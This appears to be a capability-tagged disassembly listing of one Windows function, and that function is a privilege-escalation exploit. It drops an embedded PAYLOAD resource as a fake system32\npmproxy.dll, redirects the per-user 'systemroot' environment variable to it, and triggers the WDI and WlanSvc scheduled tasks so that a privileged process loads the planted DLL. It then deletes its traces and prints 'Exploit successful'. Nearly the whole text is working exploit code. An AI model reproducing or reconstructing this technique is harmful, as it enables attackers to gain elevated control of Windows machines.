Function at 0x140002330
Capabilities:
Create directory
Delete directory
Delete file
Delete registry value
Extract resource via kernel32 functions
Get common file path
Query service status
Set registry value
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r15
lea rbp, [rsp - 0x50]
sub rsp, 0x150
mov rax, qword [0x14003d030]
xor rax, rsp
mov qword [rbp + 0x40], rax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, 8
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._________________________.___________________________________._____________________________n_____________.__._________________________________________________.__.___________n____________________________________________________________________Y______n________________________________________________________________________n____________________________________________________________________________n_____________________________________________________________________________________n_n
call fcn.140005270
mov edx, 7
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov r15d, 1
xor edx, edx
mov r8d, r15d
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
test rax, rax
jne 0x1400023d7
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.OpenSCManagerW___failed._Error:
mov ebx, eax
call fcn.140005270
mov rcx, rax
mov edx, ebx
call fcn.140002c50
mov rcx, rax
call fcn.140005570
mov eax, r15d
jmp 0x140002c28
mov r8d, 4
lea rdx, str.WlanSvc
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test rbx, rbx
jne 0x14000240d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.OpenServiceW___failed._Error:
jmp 0x1400023b6
lea rdx, [rbp + 0x20]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
mov rcx, rbx
test eax, eax
jne 0x140002436
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.QueryServiceStatus___failed._Error:
jmp 0x1400023b6
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [rbp + 0x24], r15d
jne 0x140002455
lea rdx, str.The_WLAN_AutoConfig_service_needs_to_be_running._n
call fcn.140005270
xor eax, eax
jmp 0x140002c28
lea r8, str.PAYLOAD
mov edx, 0x65
lea rcx, [0x140000000]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
jne 0x140002488
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.FindResourceW___failed._Error:
jmp 0x1400023b6
mov rdx, rbx
lea rcx, [0x140000000]
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x1400024af
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.LoadResource___failed._Error:
jmp 0x1400023b6
mov rcx, rax
mov qword [rsp + 0x178], r14
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
test rax, rax
jne 0x1400024d7
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.LockResource___failed._Error:
jmp 0x1400024f7
xor edx, edx
lea rcx, str.system32
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140002518
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.CreateDirectoryW___failed._Error:
mov ebx, eax
call fcn.140005270
mov rcx, rax
mov edx, ebx
call fcn.140002c50
mov rcx, rax
call fcn.140005570
mov eax, r15d
jmp 0x140002c20
mov qword [rsp + 0x170], r12
lea rcx, str.system32_npmproxy.dll
xor r12d, r12d
xor r9d, r9d
mov qword [rsp + 0x30], r12
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], r15d
lea edx, [r12 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140002591
lea rcx, str.system32
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.CreateFileW___failed._Error:
mov ebx, eax
call fcn.140005270
mov rcx, rax
mov edx, ebx
call fcn.140002c50
mov rcx, rax
call fcn.140005570
mov eax, r15d
jmp 0x140002c18
mov rdx, rbx
lea rcx, [0x140000000]
call qword [sym.imp.KERNEL32.dll_SizeofResource]
lea r9, [rbp + 0x1c]
mov qword [rsp + 0x20], r12
mov r8d, eax
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x140002610
lea rcx, str.system32_npmproxy.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.system32
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.WriteFile___failed._Error:
mov ebx, eax
call fcn.140005270
mov rcx, rax
mov edx, ebx
call fcn.140002c50
mov rcx, rax
call fcn.140005570
mov eax, r15d
jmp 0x140002c18
mov edx, 0xe
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov ebx, eax
test eax, eax
jns 0x140002649
lea rcx, str.system32_npmproxy.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.system32
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea rdx, str.CoInitializeEx___failed._HRESULT:_0x
jmp 0x140002ae7
lea rax, [rbp - 0x20]
mov r8d, r15d
lea r9, [0x14002b480]
mov qword [rsp + 0x20], rax
xor edx, edx
lea rcx, [0x14002b490]
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov ebx, eax
test eax, eax
jns 0x14000269d
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rcx, str.system32_npmproxy.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.system32
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea rdx, str.CoCreateInstance___failed._HRESULT:_0x
jmp 0x140002ae7
mov rcx, qword [rbp - 0x20]
lea rdx, [rbp - 0x80]
xorps xmm0, xmm0
mov qword [rsp + 0x20], rdx
xor eax, eax
mov dword [rsp + 0x40], r15d
movups xmmword [rsp + 0x44], xmm0
mov dword [rsp + 0x54], eax
lea r9, [rbp - 0x60]
movups xmm0, xmmword [rsp + 0x40]
lea r8, [rbp - 0x40]
mov rax, qword [rcx]
movsd xmm1, qword [rsp + 0x50]
lea rdx, [rsp + 0x60]
movaps xmmword [rbp - 0x80], xmm0
movsd qword [rbp - 0x70], xmm1
movaps xmmword [rbp - 0x60], xmm0
movsd qword [rbp - 0x50], xmm1
movaps xmmword [rbp - 0x40], xmm0
movsd qword [rbp - 0x30], xmm1
movaps xmmword [rsp + 0x60], xmm0
movsd qword [rsp + 0x70], xmm1
call qword [rax + 0x50]
mov ebx, eax
test eax, eax
jns 0x14000273d
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rcx, str.system32_npmproxy.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.system32
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea rdx, str.ITaskService::Connect___failed._HRESULT:_0x
jmp 0x140002ae7
lea rcx, str.MicrosoftWindowsWDI
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rcx, qword [rbp - 0x20]
lea r8, [rbp]
mov rdx, rax
mov rbx, rax
mov r9, qword [rcx]
call qword [r9 + 0x38]
mov rcx, rbx
mov edi, eax
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
test edi, edi
jns 0x1400027a4
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rcx, str.system32_npmproxy.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.system32
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea rdx, str.ITaskService::GetFolder____0__failed._HRESULT:_0x
jmp 0x140002988
lea rcx, str.ResolutionHost
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rcx, qword [rbp]
lea r8, [rbp - 0x10]
mov rdx, rax
mov rbx, rax
mov r9, qword [rcx]
call qword [r9 + 0x68]
mov rcx, qword [rbp]
mov edi, eax
mov rdx, qword [rcx]
call qword [rdx + 0x10]
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
test edi, edi
jns 0x140002815
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rcx, str.system32_npmproxy.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.system32
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea rdx, str.ITaskService::GetTask____0__failed._HRESULT:_0x
jmp 0x140002988
mov rcx, qword [rbp - 0x10]
lea rdx, [rbp + 0x18]
mov rax, qword [rcx]
call qword [rax + 0x48]
mov ebx, eax
test eax, eax
jns 0x140002863
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
lea rcx, str.system32_npmproxy.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.system32
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea rdx, str.IRegisteredTask::get_State___failed._HRESULT:_0x
jmp 0x140002ae7
cmp dword [rbp + 0x18], 4
jne 0x1400028b8
mov rcx, qword [rbp - 0x10]
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0xb8]
mov ebx, eax
test eax, eax
jns 0x1400028b8
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
lea rcx, str.system32_npmproxy.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.system32
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea rdx, str.IRegisteredTask::Stop___failed._HRESULT:_0x
jmp 0x140002ae7
mov rcx, qword [rbp - 0x10]
mov rax, qword [rcx]
call qword [rax + 0x10]
lea rcx, str.MicrosoftWindowsWlanSvc
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rcx, qword [rbp - 0x20]
lea r8, [rbp + 8]
mov rdx, rax
mov rbx, rax
mov r9, qword [rcx]
call qword [r9 + 0x38]
mov rcx, rbx
mov edi, eax
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test edi, edi
jns 0x140002926
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rcx, str.system32_npmproxy.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.system32
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea rdx, str.ITaskService::GetFolder____1__failed._HRESULT:_0x
jmp 0x140002988
lea rcx, str.CDSSync
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rcx, qword [rbp + 8]
lea r8, [rbp - 8]
mov rdx, rax
mov rbx, rax
mov r9, qword [rcx]
call qword [r9 + 0x68]
mov rcx, rbx
mov edi, eax
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp + 8]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test edi, edi
jns 0x1400029ad
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rcx, str.system32_npmproxy.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.system32
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea rdx, str.ITaskFolder::GetTask____1__failed._HRESULT:_0x
call fcn.140005270
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov edx, edi
jmp 0x140002ba5
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ebx, eax
mov eax, 2
lea rcx, [rbx + 1]
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.1400092c4
mov rdx, rax
mov ecx, ebx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [rbx*2 + 2]
mov r9d, r15d
mov dword [rsp + 0x28], ecx
lea r8, str.systemroot
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rdi
lea rdx, str.Environment
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov rcx, rdi
mov ebx, eax
call fcn.140009280
mov rcx, qword [rbp - 8]
test ebx, ebx
je 0x140002a5f
mov rdx, qword [rcx]
call qword [rdx + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rcx, str.system32_npmproxy.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.system32
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea rdx, str.RegSetKeyValueW___failed._LSTATUS:
call fcn.140005270
mov edx, ebx
jmp 0x140002ba5
movups xmm0, xmmword [rsp + 0x40]
lea rdx, [rbp + 0x10]
mov rax, qword [rcx]
movsd xmm1, qword [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x28], rdx
lea rdx, [rsp + 0x60]
movaps xmmword [rsp + 0x60], xmm0
movsd qword [rsp + 0x70], xmm1
lea r8d, [r9 + 2]
mov qword [rsp + 0x20], r12
call qword [rax + 0x68]
mov ebx, eax
test eax, eax
jns 0x140002b0c
mov rcx, qword [rbp - 8]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
lea r8, str.systemroot
mov rcx, 0xffffffff80000001
lea rdx, str.Environment
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyValueW]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rcx, str.system32_npmproxy.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.system32
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea rdx, str.IRegisteredTask::RunEx___failed._HRESULT:_0x
call fcn.140005270
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov edx, ebx
jmp 0x140002ba5
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp - 8]
lea rdx, [rbp - 0x18]
mov rax, qword [rcx]
call qword [rax + 0x80]
mov rcx, qword [rbp - 8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x10]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea r8, str.systemroot
mov rcx, 0xffffffff80000001
lea rdx, str.Environment
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyValueW]
lea rcx, str.system32_npmproxy.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.system32
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
cmp dword [rbp - 0x18], r12d
je 0x140002bba
lea rdx, str.The_task_process_failed._Exit_code__HRESULT_:_0x
call fcn.140005270
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov edx, dword [rbp - 0x18]
mov rcx, rax
call fcn.140002e50
mov rcx, rax
call fcn.140005570
mov eax, r15d
jmp 0x140002c18
mov edx, 2
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x140036fb8]
call fcn.140005270
mov edx, 0xc
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x140036fc8]
call fcn.140005270
mov edx, 2
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Exploit_successful._n_n
call fcn.140005270
mov edx, 7
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xor eax, eax
mov r12, qword [rsp + 0x170]
mov r14, qword [rsp + 0x178]
mov rcx, qword [rbp + 0x40]
xor rcx, rsp
call fcn.140009260
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop rdi
pop rbp
ret